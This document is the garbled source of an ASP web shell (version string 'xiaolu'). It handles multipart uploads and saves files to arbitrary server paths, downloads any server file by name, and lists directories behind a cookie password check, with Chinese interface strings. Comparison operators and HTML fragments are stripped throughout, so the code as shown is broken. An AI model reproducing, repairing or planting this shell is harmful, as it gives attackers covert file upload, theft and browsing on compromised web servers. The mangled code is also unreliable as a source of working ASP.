.
<%on error resume next
dim data_xlsf
class upload_xlsf
dim oform,objfile,version
public function form(sform)
sform=lcase(sform)
if not oform.exists(sform) then
form=""
else
form=oform(sform)
end if
end function
public function file(strfile)
strfile=lcase(strfile)
if not objfile.exists(strfile) then
set file=new fileinfo
else
set file=objfile(strfile)
end if
end function
private sub class_initialize
dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile
dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename
dim ifindstart,ifindend
dim iformstart,iformend,sformname
version="xiaolu"
set oform=server.createobject("scripting.dictionary")
set objfile=server.createobject("scripting.dictionary")
if request.totalbytes<1 then exit sub
set tstream = server.createobject("adodb.stream")
set data_xlsf = server.createobject("adodb.stream")
data_xlsf.type = 1
data_xlsf.mode =3
data_xlsf.open
data_xlsf.write request.binaryread(request.totalbytes)
data_xlsf.position=0
requestdata =data_xlsf.read
iformstart = 1
iformend = lenb(requestdata)
vbcrlf = chrb(13) & chrb(10)
sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1)
istart = lenb (sstart)
iformstart=iformstart+istart+1
while (iformstart + 10) 0 then
oform.removeall
objfile.removeall
set oform=nothing
set objfile=nothing
data_xlsf.close
set data_xlsf =nothing
end if
end sub
private function getfilepath(fullpath)
if fullpath "" then
getfilepath = left(fullpath,instrrev(fullpath, ""))
else
getfilepath = ""
end if
end function
private function getfilename(fullpath)
if fullpath "" then
getfilename = mid(fullpath,instrrev(fullpath, "")+1)
else
getfilename = ""
end if
end function
end class
class fileinfo
dim formname,filename,filepath,filesize,filetype,filestart
private sub class_initialize
filename = ""
filepath = ""
filesize = 0
filestart= 0
formname = ""
filetype = ""
end sub
public function saveas(fullpath)
dim dr,errorchar,i
saveas=true
if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function
set dr=createobject("adodb.stream")
dr.mode=3
dr.type=1
dr.open
data_xlsf.position=filestart
data_xlsf.copyto dr,filesize
dr.savetofile fullpath,2
dr.close
set dr=nothing
saveas=false
end function
end class
httpt = request.servervariables("server_name")
rseb=request.servervariables("script_name")
d=request("d")
if request.cookies("password")
password：
<%s.open
s.type = 1
if not ssyss.fileexists(strfilename) then
response.write("error:" & strfilename & " does not exist
")
response.end
end if
set f = ssyss.getfile(strfilename)
intfilelength = f.size
s.loadfromfile(strfilename)
if err then
response.write("error: " & err.description & "
")
response.end
end if
response.addheader "content-disposition", "attachment; filename=" & f.name
response.addheader "content-length", intfilelength
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite s.read
response.flush
s.close
set s = nothing
response.end
end function
case "ls.asp"
urlpath=server.urlencode(path)
dim cpath,lpath
if request("path")="" then
lpath="/"
else
lpath=request("path")&"/"
end if
if request("attrib")="true" then
cpath=replace(lpath,"/","")
attrib="true"
else
cpath=server.mappath(lpath)
attrib=""
end if
sub getfolder()
dim thefolder,thesubfolders
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thesubfolders=thefolder.subfolders
response.write"上级目录
<%
end if
end sub
sub getfile()
dim thefiles
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thefiles=thefolder.files
response.write"
user:
rpath: | cdir: